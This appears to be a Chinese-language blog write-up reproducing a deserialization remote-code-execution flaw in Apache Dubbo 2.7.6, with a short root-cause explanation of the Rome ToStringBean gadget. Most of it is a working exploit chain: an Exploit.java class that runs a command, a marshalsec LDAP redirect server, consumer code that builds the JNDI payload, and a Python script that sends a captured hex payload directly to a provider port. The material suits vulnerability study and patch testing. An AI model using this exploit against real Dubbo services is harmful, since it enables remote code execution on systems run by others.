简介

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

Apache Dubbo架构图

image-20200810233645738

  • Provider:暴露服务方称之为“服务提供者”
  • Consumer:调用远程服务方称之为“服务消费者”
  • Registry:服务注册与发现的中心目录服务称之为“服务注册中心”
  • Monitor:统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”
  • Container:服务运行容器。

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

漏洞复现

复现环境:

  • mac
  • Dubbo 2.7.6
  • JDK1.8.0_144

1. 启动Provider

下载https://github.com/apache/dubbo/archive/2.7.6.zip导入到IDEA,修改

dubbo-spring-boot-samples/auto-configure-samples/provider-sample/pom.xml文件,加入依赖

1
<dependency>
2
    <groupId>com.rometools</groupId>
3
    <artifactId>rome</artifactId>
4
    <version>1.7.0</version>
5
  	<scope>compile</scope>
6
</dependency>

运行DubboAutoConfigurationConsumerBootstrap.java,端口启动在12345

2.搭建LDAP服务器

对于dubbo来说,dubbo使用lookup发起请求是客户端(此处应避免概念混淆)。

2.1 启动http服务器

1
python2 -m SimpleHTTPServer

2.2 编译Exploit.java,放在python服务器同目录下。该payload是启动一个mac的计算器

1
import java.io.IOException;
2
3
public class Exploit {
4
	static {
5
		System.err.println("Pwned");
6
		try {
7
			java.lang.Runtime.getRuntime().exec(new String[]{"open","/Applications/Calculator.app"});
8
		} catch (IOException e) {
9
			e.printStackTrace();
10
		}
11
	}
12
13
	public static void main(String[] args) {
14
15
	}
16
}

编译命令

1
javac Exploit.java -source 1.8 -target 1.8

2.3 启动ldap服务器

利用marshalsec转发(编译marshalsec命令mvn clean package -DskipTests

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

3.启动Consumer

修改dubbo-spring-boot-samples/auto-configure-samples/consumer-sample/pom.xml文件,加入依赖

1
<dependency>
2
    <groupId>com.rometools</groupId>
3
    <artifactId>rome</artifactId>
4
    <version>1.7.0</version>
5
  	<scope>compile</scope>
6
</dependency>

同时导入marshalsec-0.0.3-SNAPSHOT-all.jar

image-20200810230023070

修改DubboAutoConfigurationConsumerBootstrap文件

1
public class DubboAutoConfigurationConsumerBootstrap {
2
3
    private final Logger logger = LoggerFactory.getLogger(getClass());
4
5
    @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
6
    private DemoService demoService;
7
8
    public static void main(String[] args) {
9
        SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
10
    }
11
12
    private static Object getPayload() throws Exception {
13
        String jndiUrl = "ldap://127.0.0.1:8087/Exploit";
14
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
15
        EqualsBean root = new EqualsBean(ToStringBean.class,item);
16
        return JDKUtil.makeMap(root,root);
17
    }
18
19
    @Bean
20
    public ApplicationRunner runner() throws Exception {
21
        Object o = getPayload();
22
        return args -> logger.info(demoService.commonTest(o));
23
    }
24
25
}

在idea里用ALT+ENTER,把缺的包引入。

DemoService加入,idea可以用COMMAND+N搜索

1
String commonTest(Object o);

image-20200810231013598

DefaultDemoService.java加入

1
@Override
2
public String commonTest(Object o) { return null; }

image-20200810231631018

注意在这个类下

image-20200810231538909

运行DubboAutoConfigurationConsumerBootstrap.java(注意这是consumer,第一步provider也要同时运行,idea可以同时运行这两个服务)

执行完,将成功弹窗

image-20200810232339440

4.抓包获取payload

wireshark配置接收网卡为本地会换地址loopback。抓包完成了,设置过滤条件tcp.port == 12345,然后右击Follow->Tcp Stream

image-20200810232905897

得到攻击的payload

image-20200810232946490

点击raw,会得到原始的16进制流

image-20200810233040648

5.直接攻击

我们已经抓取了攻击流量,这次我们不需要启动Consumer服务。直接通过payload脚本向Provider提供攻击数据。脚本如下

1
# coding=utf8
2
import socket
3
import time
4
import re
5
import binascii
6
7
def sendEvilObjData(sock):
8
    payload=b"dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a"
9
    sock.send(binascii.a2b_hex(payload))
10
11
def run(dip,dport):
12
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13
    server_addr = (dip, dport)
14
    sock.connect(server_addr)
15
    sendEvilObjData(sock)
16
17
run("127.0.0.1",12345)

运行后也直接弹出计算器

image-20200810233502069

漏洞原理

漏洞触发点在com.rometools.rome.feed.impl.ToStringBean类的toString方法中,toString方法中的getter.invoke(obj, NO_PARAMS);

image-20200810234348623

ToStringBean类是一个可以被序列化的公共类,可以将对象的类型和方法转成字符串供调用。在ToStringBean实现的toString方法中,会遍历传入对象的所有方法(Method对象),并且通过java实现的invoke方法(反射机制)动态调用传入对象的所有Method对象。

参考:

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

https://paper.seebug.org/1264/#33

https://www.cnblogs.com/zhengjim/p/13204194.html